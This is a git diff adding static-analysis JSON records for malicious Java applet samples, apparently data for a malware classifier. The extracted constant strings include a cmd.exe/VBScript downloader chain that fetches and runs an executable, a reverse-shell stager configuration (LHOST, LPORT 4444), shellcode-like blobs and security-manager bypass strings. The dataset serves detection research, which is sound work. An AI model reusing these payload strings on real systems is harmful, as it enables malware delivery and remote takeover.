"27bcfadc-79a6-4d1f-9e7a-cb1746fb0994", "score": 0, "entropy": 5.806890543550842, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4346, "ssdeep": "48:7OLmwerrwfLryy+x5l8h8++7kvXYy4CQVPhRDrgugkEWHn9a2qC7vSSAdCnqVf0u:+JN5+Ygr7VZ9aWd1jpzKX", "sha256": "4f7dacc76e88e9114195acada2b995ed354d5b0f451a9bc4b1c56918af58e3bd", "md5": "bda6235307a0fb24e6b330b25fd17ba7", "parent_sha256": "4f7dacc76e88e9114195acada2b995ed354d5b0f451a9bc4b1c56918af58e3bd"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/4ff852fb93d14e7b3817577837de5ec44873af6058c03de0959fefa7a5a5a828.results b/java_classification/data/malicious/4ff852fb93d14e7b3817577837de5ec44873af6058c03de0959fefa7a5a5a828.results
new file mode 100755
index 0000000..f3eb327
--- /dev/null
+++ b/java_classification/data/malicious/4ff852fb93d14e7b3817577837de5ec44873af6058c03de0959fefa7a5a5a828.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/myrkrvkqzualyy", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "cgrstctjnfaooq", "<clinit>"], "minor_version": 0, "const_pool_count": 446}}, "_id": "1b391e34-4949-45d3-aa0c-8fa6d32cc303", "metadata": {"mimetype": "application/x-java-applet", "sha1": "18bab3d9407903e987ab6de94cd9515dd436966b", "file_name": "java_malicious/4ff852fb93d14e7b3817577837de5ec44873af6058c03de0959fefa7a5a5a828", "_id": "1b391e34-4949-45d3-aa0c-8fa6d32cc303", "score": 0, "entropy": 5.215216714487957, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6986, "ssdeep": "192:TVeJ2WVnZSu+Hpgxhi/To55UTYwa5hGX1:A2WRtAgyTofUTkc1", "sha256": "4ff852fb93d14e7b3817577837de5ec44873af6058c03de0959fefa7a5a5a828", "md5": "01433209ab2aa67f1f19ee74d1442389", "parent_sha256": "4ff852fb93d14e7b3817577837de5ec44873af6058c03de0959fefa7a5a5a828"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/50c0a2c3346f9812d91fe2ee097521657b416687979b5feda58630cceaa5e907.results b/java_classification/data/malicious/50c0a2c3346f9812d91fe2ee097521657b416687979b5feda58630cceaa5e907.results
new file mode 100755
index 0000000..197f29d
--- /dev/null
+++ b/java_classification/data/malicious/50c0a2c3346f9812d91fe2ee097521657b416687979b5feda58630cceaa5e907.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "GonqabGonqabExp.java", "class_name": "GonqabGonqabExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "init"], "minor_version": 3, "const_pool_count": 133}}, "_id": "7648afe5-c75f-4f2f-b829-95fdf5ae01b6", "verbose": {"java": {"constant strings": ["java.lang.System.setSecurity", "pyYXdy4VDsgz3fwJS", "dota", "= function", "j", "return \"exploit!\";};", "s", "error.message = this;", "nts(0)", "cho UR", "var error = new Error(\"My error\");this.toString ", "(){ ", "Manager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c e", "L = LCase(WScript.Argume", ")>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo gond=\"pyYXdy4VDsgz3fwJ\">>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\pyYXdy4V.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a1d6f2a721a5021c0376908b95798c54baa79270", "file_name": "java_malicious/50c0a2c3346f9812d91fe2ee097521657b416687979b5feda58630cceaa5e907", "_id": "7648afe5-c75f-4f2f-b829-95fdf5ae01b6", "score": 0, "entropy": 5.921352713595761, "libmagic": "compiled Java class data, version 45.3", "file_size": 3287, "ssdeep": "96:6zGlQe3NwukhG1pqDdQdNdv0X/PwumkcI:rlQe9wuk0rqpQd3v0vDN", "sha256": "50c0a2c3346f9812d91fe2ee097521657b416687979b5feda58630cceaa5e907", "md5": "46beb694eb5f4458cfbd3cf546d29e18", "parent_sha256": "50c0a2c3346f9812d91fe2ee097521657b416687979b5feda58630cceaa5e907"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/50df4a525e568cb43e72c1c197467d14a96d67aec5877959d325a4754a0fbe6d.results b/java_classification/data/malicious/50df4a525e568cb43e72c1c197467d14a96d67aec5877959d325a4754a0fbe6d.results
new file mode 100755
index 0000000..24c0f06
--- /dev/null
+++ b/java_classification/data/malicious/50df4a525e568cb43e72c1c197467d14a96d67aec5877959d325a4754a0fbe6d.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "lfuKAtpCT.java", "class_name": "wDQnYjaDF/lfuKAtpCT", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "NcCfmLcQJ", "SDYQaS"], "minor_version": 0, "const_pool_count": 36}}, "_id": "850a2420-ee82-410a-9f1c-d898d6d14fe2", "metadata": {"mimetype": "application/x-java-applet", "sha1": "f03a6ca4314a75a575f4b35f8e11ce6daaa47628", "file_name": "java_malicious/50df4a525e568cb43e72c1c197467d14a96d67aec5877959d325a4754a0fbe6d", "_id": "850a2420-ee82-410a-9f1c-d898d6d14fe2", "score": 0, "entropy": 5.357515185299058, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 583, "ssdeep": "12:7UHSDQullB4iMBMOte97PUq7M0P/DmRth4PwMpzloHg0GRa45l/siuWGRP:ayQulCe9rbJP/DmD2aiRa477uWGJ", "sha256": "50df4a525e568cb43e72c1c197467d14a96d67aec5877959d325a4754a0fbe6d", "md5": "c4f74cb6fe2184b04d50839707b2c3f8", "parent_sha256": "50df4a525e568cb43e72c1c197467d14a96d67aec5877959d325a4754a0fbe6d"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/50f992266bf78937f6d15b5260c73d891bb3e5e6c836c56120fea32d78de4717.results b/java_classification/data/malicious/50f992266bf78937f6d15b5260c73d891bb3e5e6c836c56120fea32d78de4717.results
new file mode 100755
index 0000000..5e211e2
--- /dev/null
+++ b/java_classification/data/malicious/50f992266bf78937f6d15b5260c73d891bb3e5e6c836c56120fea32d78de4717.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Gondqq.java", "class_name": "goaw20125076/Gondqq", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "hex3Byte", "init"], "minor_version": 0, "const_pool_count": 177}}, "_id": "276e5d5f-cdb0-4499-a521-aeeb2701e806", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.400225665165384, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "11111111111111111111"}, "substring_brute_force": {"111": {"11111111111111111111": "11"}}}}, "constant strings": ["111", "Upriv.class", "sun.invoke.anon.AnonymousClassLoader", "loadClass", "WyjJAt2NBQxLz5WC", "bn", "xiaomaolv", "si", "bs", "os.name", "1", "11111111111111111111", "Windows"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c3329f1d23839942d787d7a7e5736f710d4c25e7", "file_name": "java_malicious/50f992266bf78937f6d15b5260c73d891bb3e5e6c836c56120fea32d78de4717", "_id": "276e5d5f-cdb0-4499-a521-aeeb2701e806", "score": 0, "entropy": 5.727953212662696, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3226, "ssdeep": "48:iwsy8kAl4xz2ZDY86RnrGiHKiS2Kd2Ty63LK/vBUG6q/oc4dti6ox4NSSc:ht8kAlbZEGeK+KcnKhoq/IjvoeNS1", "sha256": "50f992266bf78937f6d15b5260c73d891bb3e5e6c836c56120fea32d78de4717", "md5": "eda491721fb6dedd068de6ad38a5d136", "parent_sha256": "50f992266bf78937f6d15b5260c73d891bb3e5e6c836c56120fea32d78de4717"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/519c078207e2b4daea60651568e2624cce2a888c5afcba2ae411a2fcce36ed5a.results b/java_classification/data/malicious/519c078207e2b4daea60651568e2624cce2a888c5afcba2ae411a2fcce36ed5a.results
new file mode 100755
index 0000000..e5209de
--- /dev/null
+++ b/java_classification/data/malicious/519c078207e2b4daea60651568e2624cce2a888c5afcba2ae411a2fcce36ed5a.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "556836af-66dd-435c-a0fb-a8d01c239e8c", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pN,pL,Pn,pn,pL,PN,pJ,0I,yI,ku,PW,pg,pS,op,dL,aT,p5,P5,P7,pn,k7,04,LL,Kr,PU,LL,mL,KP,h7,PK,0c,Md,LU,cQ,d6,cn,vz,KI,cl,KQ,xT,HL,KZ,W3,ZW,t2,yI,xN,o7,pG,pU,PI,rk,IC,XR,OR,N7,pU,Pp,hR,UP,rr,Lr,M6,4i,ot,VL,KM,8k,Xc,IU,Pw,p7,pL,Kk,gR,go,pw,OG,pP,uH,zp,GP,Ws,wK,05,oG,pP,uK,JN,kx,o1,OT,sK,yo,qX,ls,4U,QC,05,Pl,Ky,Lr,q1,BV,3Q,xE,TE,QG,pU,PK,O2,vF,la,JP,Ys,aV,2n,ke,RR,sp,Co,p5,kW,p3,E9,jk,1S,Kk,LF,Na,up,xQ,uR,U3,3N,c8,kV,hk,9G,sY,WQ,ST,Dv,N1,ud,8s,UO,6p,CE,Xw,pQ,KL,JJ,aU,Tv,Po,x1,UE,P4,sy,PR,pr,ps,c6,7f,0K,O2,vT,Pl,CY,hU,Ps,EU,VQ,zu,Qv,3k,Os,fu,TR,z0,YM,So,2F,dG,1O,pu,j7,pr,Uo,DI,os,fW,xB,qf,6N,kq,ee,lL,KP,tV,U2,XE,Sl,5R,vl,K2,VG,P5,SJ,Uu,c9,YB,is,qn,Mc,3K,u5,cY,K6,oM,nF,pt,xJ,Rp,tT,Hz,aJ,kD,M3,3K,jS,pJ,KY,a5,kW,oD,5x,gQ,Nl,KQ,NU,tG,sk,mc,VL,KV,lr,kN,kQ,N5,L6,cI,ML,Kt,DN,kG,si,UL,k1,NC,iO,3X,hC,0Y,ok,Ok,ON,np,ND,Nj,LM,Hk,NN,j6,nS,NI,Hy,rp,s4,sK,zN,jQ,Ku,fw,jv,OP,pS,sP,oS,v0,Vg,pU,8r,TD,4D,0W,J6,O4,oR,Kr,LR,E0,va,uR,Rv,Nc,YS,Wb,N2,OP,rB,Ep,lR,IQ,cR,Tf,Nq,sp,or,M6,OC,Yp,np,fr,OD,ot,5b,Sf,Qt,nP,hb,T2,MR,LT,oR,Nf,Pv,P3,Qv,Qp,0p,6U,bv,P0,1e,cv,Q0,8P,rF,PU,dt,p0,9b,j0,0s,UD,pT,p4,pP,6p,0P,1C,bR,Df,T6,X0,04,ua,re,ev,XP,W5,5p,cp,50,67,Iu,6W,Bp,7R,xv,YV,V0,2d,wQ,rC,ST,vV,PB,y5,4U,45,6P,83,QP,d6,Te,50,ZT,pU,at,pV,Pb,FT,pv,Xf,PS,07,pA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e627efe36a1ca7f256fdd521a78fa03f17d0f56f", "file_name": "java_malicious/519c078207e2b4daea60651568e2624cce2a888c5afcba2ae411a2fcce36ed5a", "_id": "556836af-66dd-435c-a0fb-a8d01c239e8c", "score": 0, "entropy": 5.986302122978308, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3111, "ssdeep": "48:4vVk0yFlBNBMpzlkVJtgYE6C+WKvHVx+a5GUFwIsFlXRkHccQjtZtgobKqgs5qxn:hFFlrKMVJW36cK22RxC92XQjt9bKsCn", "sha256": "519c078207e2b4daea60651568e2624cce2a888c5afcba2ae411a2fcce36ed5a", "md5": "1566ea2e292483bcfa08a271cd8241e6", "parent_sha256": "519c078207e2b4daea60651568e2624cce2a888c5afcba2ae411a2fcce36ed5a"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/51d48a528e74e47fef4733954f7385b474a13a020d84929985a233bd894e1f56.results b/java_classification/data/malicious/51d48a528e74e47fef4733954f7385b474a13a020d84929985a233bd894e1f56.results
new file mode 100755
index 0000000..f0f0524
--- /dev/null
+++ b/java_classification/data/malicious/51d48a528e74e47fef4733954f7385b474a13a020d84929985a233bd894e1f56.results
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/java_classification/data/malicious/524b0223309aa7b9a8c4436d1dbef6fdbf4aef4d3c9af0e5fcdc218018d77712.results b/java_classification/data/malicious/524b0223309aa7b9a8c4436d1dbef6fdbf4aef4d3c9af0e5fcdc218018d77712.results
new file mode 100755
index 0000000..a92786a
--- /dev/null
+++ b/java_classification/data/malicious/524b0223309aa7b9a8c4436d1dbef6fdbf4aef4d3c9af0e5fcdc218018d77712.results
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/java_classification/data/malicious/524c6e42ecf92df393e4db53b18c9e101e83c769310854e6a5ab52549be489cd.results b/java_classification/data/malicious/524c6e42ecf92df393e4db53b18c9e101e83c769310854e6a5ab52549be489cd.results
new file mode 100755
index 0000000..e0bcdc1
--- /dev/null
+++ b/java_classification/data/malicious/524c6e42ecf92df393e4db53b18c9e101e83c769310854e6a5ab52549be489cd.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Noctyua.java", "class_name": "Noctyua", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "OPVkd", "Senne", "To"], "minor_version": 0, "const_pool_count": 106}}, "_id": "4fdab395-9f7d-402a-8626-446407ee60ba", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 5.268425593989942, "obfuscated_data": {"substring_brute_force": {"34s": {"qw34sertyu34siopas34sdfghjkl34szxcvbnm034s12345634s789_-=_/:?&": "qwertyuiopasdfghjklzxcvbnm0123456789.-=_/:?&"}}}}, "constant strings": ["\\\\", "cjft_/vwy6a92p=m8gr3s.?ud4:e&hxi1nz-0bk5ql7o", "", "qw34sertyu34siopas34sdfghjkl34szxcvbnm034s12345634s789.-=_/:?&", "34s", "hdlux"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "601b05f8796d0a700183f0580be89ac27ed8e6a2", "file_name": "java_malicious/524c6e42ecf92df393e4db53b18c9e101e83c769310854e6a5ab52549be489cd", "_id": "4fdab395-9f7d-402a-8626-446407ee60ba", "score": 0, "entropy": 5.5227276702793295, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1616, "ssdeep": "24:izXoyQulj3G1xI1KaOdUO3/H2RLa5rtNcxzsFjOzo8Evjf3jS7tYie8UYcvw9R:VyFl61cKayUO3/6yrmzssNYEcvq", "sha256": "524c6e42ecf92df393e4db53b18c9e101e83c769310854e6a5ab52549be489cd", "md5": "1db44dc3731a306b587486fae50acb7b", "parent_sha256": "524c6e42ecf92df393e4db53b18c9e101e83c769310854e6a5ab52549be489cd"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/53131e0204e25a5edea37ccc1144c7b3522ff1fa48536d36b8812f37809852fb.results b/java_classification/data/malicious/53131e0204e25a5edea37ccc1144c7b3522ff1fa48536d36b8812f37809852fb.results
new file mode 100755
index 0000000..b583b68
--- /dev/null
+++ b/java_classification/data/malicious/53131e0204e25a5edea37ccc1144c7b3522ff1fa48536d36b8812f37809852fb.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "AYtRpxzDzf/IiPUCFA", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "7056651c-e4ea-4973-8b73-fdca530858fc", "verbose": {"java": {"constant strings": ["AYtRpxzDzf.IiPUCFA", ".class", "/AYtRpxzDzf.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "AYtRpxzDzf.dat", "URL", "", "https:", "AYtRpxzDzf/IiPUCFATrustManager.class", "IiPUCFATrustManager.class", "AESPassword", "AYtRpxzDzf/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "AYtRpxzDzf.IiPUCFATrustManager", "useFor", "java.net.URLConnection", "AYtRpxzDzf.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "IiPUCFA -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a5fb8aba9d062000cae424d0296ff86973f29897", "file_name": "java_malicious/53131e0204e25a5edea37ccc1144c7b3522ff1fa48536d36b8812f37809852fb", "_id": "7056651c-e4ea-4973-8b73-fdca530858fc", "score": 0, "entropy": 6.152287266723282, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMvDUBs+WsHThmMdxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1t9s+tmMyNvpvUrKYvCkgHzbDrDF", "sha256": "53131e0204e25a5edea37ccc1144c7b3522ff1fa48536d36b8812f37809852fb", "md5": "a96cc36759edaac74fdbf05384e776eb", "parent_sha256": "53131e0204e25a5edea37ccc1144c7b3522ff1fa48536d36b8812f37809852fb"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/53b6635cbf1e0ed76820bd3161f2876337de1e4fb08297a41a96e407b514333e.results b/java_classification/data/malicious/53b6635cbf1e0ed76820bd3161f2876337de1e4fb08297a41a96e407b514333e.results
new file mode 100755
index 0000000..4679cf2
--- /dev/null
+++ b/java_classification/data/malicious/53b6635cbf1e0ed76820bd3161f2876337de1e4fb08297a41a96e407b514333e.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "y", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["IIiIiIIIII", "IIiIiIIIII", "ALLATORIxDEMOxASAASDmaDASDriASDASDDASDASDASDADQWDQWlloQWDasdasdasdsd", "ALLATORIxDEMOxASAASDmaDASDriASDASDDASDASDASDADQWDQWlloQWDasdasdasdsd", "ALLATORIxDEMOxASAASDmaDASDriASDASDDASDASDASDADQWDQWlloQWDasdasdasdsd", "getResourceAsStream", "loadClass", "IIiIiIIIII", "ALLATORIxDEMOxASAASDmaDASDriASDASDDASDASDASDADQWDQWlloQWDasdasdasdsd", "ALLATORIxDEMOxASAASDmaDASDriASDASDDASDASDASDADQWDQWlloQWDasdasdasdsd", "ALLATORIxDEMOxASAASDmaDASDriASDASDDASDASDASDADQWDQWlloQWDasdasdasdsd", "ALLATORIxDEMOxASAASDmaDASDriASDASDDASDASDASDADQWDQWlloQWDasdasdasdsd", "<init>", "ALLATORIxDEMOxASAASDmaDASDriASDASDDASDASDASDADQWDQWlloQWDasdasdasdsd", "findClass", "main"], "minor_version": 0, "const_pool_count": 315}}, "_id": "141b755b-d22c-4555-8fcc-44ca8cd704f0", "verbose": {"java": {"signatures": ["Ljava/util/HashMap<Ljava/lang/String;Ljava/lang/Class;>;", "Ljava/util/HashMap<Ljava/lang/String;[B>;"], "constant strings": ["", "\\x18-\\x1a+\\x1c)\\x1e\\'\\x10/", "rhQ`YlL}1dY", "0\\x05 \\x111\\x04$\\x1d=\\x02", "\\x1d", "\\x1c", "*Q\\x7fDwA", "Mv", "%\\x10!\\x100\\x056\\x0f4\\x0b", "\\x14", "\\x15", "+PmV~H", "\\x12\\'?\\x0e4\\x01$\\x1d*\\x15", "w=k|H\\x1eZ1\\r`TXt\\x1bU\\x1bU\\x1bV`L`L", "=*\\x1c-\\x1b.\\x18\"\\x14*\\x1c-\\x1b\\x0e8\"\\x14*\\x1c-\\x1b.\\x18\"\\x14*\\x1c-\\x1b\\x0e8\"\\x14*\\x1c-\\x1b.\\x18\"\\x14*\\x1c-\\x1b\\x0e8\"\\x14\\x03\\x1c.\\x18-\\x1b!\\x17)\\x1f.\\x18\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17)\\x1f.\\x18\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17)\\x1f.\\x18\\r;!\\x17*5-\\x18-\\x1b!\\x17)\\x1f.\\x1b\\x0e;\"\\x17)\\x1f-\\x18-\\x1b!\\x14*\\x1f-\\x1b\\x0e;\"\\x14*\\x1f-\\x1b-\\x1b\"\\x14*\\x1f.\\x18\\r;!\\x17)\\x1c\\x04\\x1b-\\x1b!\\x17)\\x1f.\\x1b\\r8!\\x14)\\x1f.\\x1b-\\x1b!\\x14)\\x1c.\\x18\\x0e;!\\x14)\\x1c.\\x1b-\\x18!\\x17*\\x1f.\\x18\\r;!\\x17)\\x1f-2.\\x1b!\\x17)\\x1f.\\x18\\x0e8\"\\x17*\\x1f.\\x18.\\x1b!\\x17*\\x1c-\\x18\\r8!\\x17*\\x1f-\\x18.\\x18!\\x17)\\x1c.\\x18\\r;!\\x17)\\x1f.\\x1b\\x07\\x18!\\x17)\\x1f.\\x18\\r8!\\x14)\\x1c-\\x1b-\\x18\"\\x14)\\x1c.\\x1b\\r;\"\\x17)\\x1c-\\x1b-\\x18!\\x14)\\x1c-\\x1b\\r;!\\x17)\\x1f.\\x18.1\"\\x17)\\x1f.\\x18\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17)\\x1f.\\x18\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17)\\x1f.\\x18\\r;!\\x17)\\x1f.\\x18-\\x18\\x0b\\x14)pl^XhbV}VaV-Yx\\x17HSbYYts^)pl^xHbV}P|\\x18[./\\x07){KuB\\x1b\"=*\\x1f.\\x18\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17)\\x1f.\\x18\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17)\\x1f.\\x18\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x14\\x03\\x1c.\\x18\\r;!\\x17)\\x1f.\\x18-SuCy\\x05!\\x17Zlv\\x19hSbYyTs^\\'\\\\aU\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17*5-\\x18\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17)\\x1f.\\x18\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17)\\x1f.\\x18\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17)\\x1c\\x04\\x1b\\x0e8\"\\x14*\\x1c-\\x1b.\\x18\"\\x14*\\x1c-\\x1b\\x0e8\"\\x14*\\x1c-\\x1b.\\x18\"\\x14*\\x1c-\\x1b\\x0e8\"\\x14*\\x1c-\\x1b.\\x18\"\\x14*\\x1c-2", "d}^|L", "d^gV"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b2207563a34c4694dad5aa768f4885e092de91c3", "file_name": "java_malicious/53b6635cbf1e0ed76820bd3161f2876337de1e4fb08297a41a96e407b514333e", "_id": "141b755b-d22c-4555-8fcc-44ca8cd704f0", "score": 0, "entropy": 5.6597252643822795, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 13581, "ssdeep": "192:qCMqlv7StPgLBvKIC1tWqNuNPFCALBKJ6uaJm980xqgPz3H3:p9YILH6tWqIPFCUjTdYPrH3", "sha256": "53b6635cbf1e0ed76820bd3161f2876337de1e4fb08297a41a96e407b514333e", "md5": "ee9f638be8a5067c6749bca01781a518", "parent_sha256": "53b6635cbf1e0ed76820bd3161f2876337de1e4fb08297a41a96e407b514333e"}}
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diff --git a/java_classification/data/malicious/541cf876c150714f920b1b936aea89905afeaddbcb30c3b5660b530b8e3920e2.results b/java_classification/data/malicious/541cf876c150714f920b1b936aea89905afeaddbcb30c3b5660b530b8e3920e2.results
new file mode 100755
index 0000000..8275802
--- /dev/null
+++ b/java_classification/data/malicious/541cf876c150714f920b1b936aea89905afeaddbcb30c3b5660b530b8e3920e2.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "Ghs", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "IeCNbViK", "jCMwmmvQL", "OQAi", "RrDDvFw", "QttJWATNI", "DhTJE", "obf", "OayNrLKj", "YSPfKeR", "deAcnx", "jQrijhmD", "haDJPfffnS", "jDU", "LaTUCjc", "PckdyNLpUg", "klOfRiYfUl", "ugxIBPCfV", "hwzQRKVb", "xAnTPe", "qbnngl", "jNC", "lPjDm", "NoTnzBa", "xDs", "FVV", "lcsfP", "init", "<clinit>"], "minor_version": 0, "const_pool_count": 1873}}, "_id": "c025879d-8e82-4243-b12f-8583359b5b30", "verbose": {"java": {"constant strings": ["", "a&d", "&d", "java.secu&rity.Per", "mi&ssion", "lX2u-/DnewI&nst", "an&ce", "sCA2gv&a.", "iO.tMP&di", "j&a", "R", "ity.Pe&rm", "iss", "java.secur&ity.Acc", "es&sCont", "r&olContext", "ja&va.vers&", "&ion", "_", "1.&7", ".&0_", "1.&6.0&_", "forName", "ja&va.l", "ang&.Syst&em", "get&Secur", "ityMa&nager", "ang.S&ystem", "ge&tSecur", "MkMcmNBlSTwPgOrKFdVHymulmNkpbImcoLVlRxUfgBRmuXjntmyPLGoobpLCQsQQizEvvGuyAvYeLHQXzFAteOXSAyxBrJKKdrvQwACRLKwPJmPVUdD", "AdlKeliOOmaseOhAaWYPovpoQYKATLCaSzOQdogFLPvPWUwkClvpbdyoJBFqWukypiVsRzSlUDnXtweiggWQaHXntLFmNqTaYSzumqsegGHrUiou", "F2F-Q.e&X", "e&", "lJjnRLueRMXHoGafdatkKnHHKcmKEulfswopuASaPbHXJqdYXfxCizkLgSWPNNRszQmtUhsDSRSanmoIckqmcgWqYGoBxStnMCNvGVMOtFLcHVPFDv", "ja&va.awt.image.R&aster", "S77c&reateWri", "ta&bleRaster", "java.&&&&a&wt.i", "mage&.Sam&&&p", "leM&&&odel", "java.a&&&&wt.i", "ma&&&&&ge.DataBuf&&fer", "j&ava.a&w&&&&&t.Po", "in&t", "java&.awt.im&&&&&a", "ge.Co&lorM", "oD&el", "Qi84getRGB&de", "fa&Ult", "S6M,gse&tEl", "e&m", "1iUtQg&etTa", "ZQQrg&et", "@oXDIe&t", "&S", "QO@#D,,,,,s&", "AOw.Dcuri", "H;GY2ty", "9QLaZMa", ",t!1Dnage", "    ", "ge", "t&Mas&ks", "2Av;gadOb&jec", "t&", "XARFuFb", "gKeBkyJ", "wEV", "TPrqUYAsH", "fo&&&&&rNa&&&&&&&&me", "j&av&a.io.Buffer&edOutp", "s2SW#utSt&ream", "j&av&a.io.Byte&Arr&ayInp", "BU/3autSt&ream", "j&av&a.io.ObjectInp", "d1HkQutSt&ream", "j&av&a.io.", "Inp", "!1[X4utSt&re&am", "XXzS9java.i&o.Ou", "=!;O!tputS&tream", "/D7D,\\n&", "J&A&V&A.V&", "&E", "1.&6", ".0_&", "."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "87a2afa51e68d708eead31378ab5bd19bae27929", "file_name": "java_malicious/541cf876c150714f920b1b936aea89905afeaddbcb30c3b5660b530b8e3920e2", "_id": "c025879d-8e82-4243-b12f-8583359b5b30", "score": 0, "entropy": 5.855254528997016, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 21764, "ssdeep": 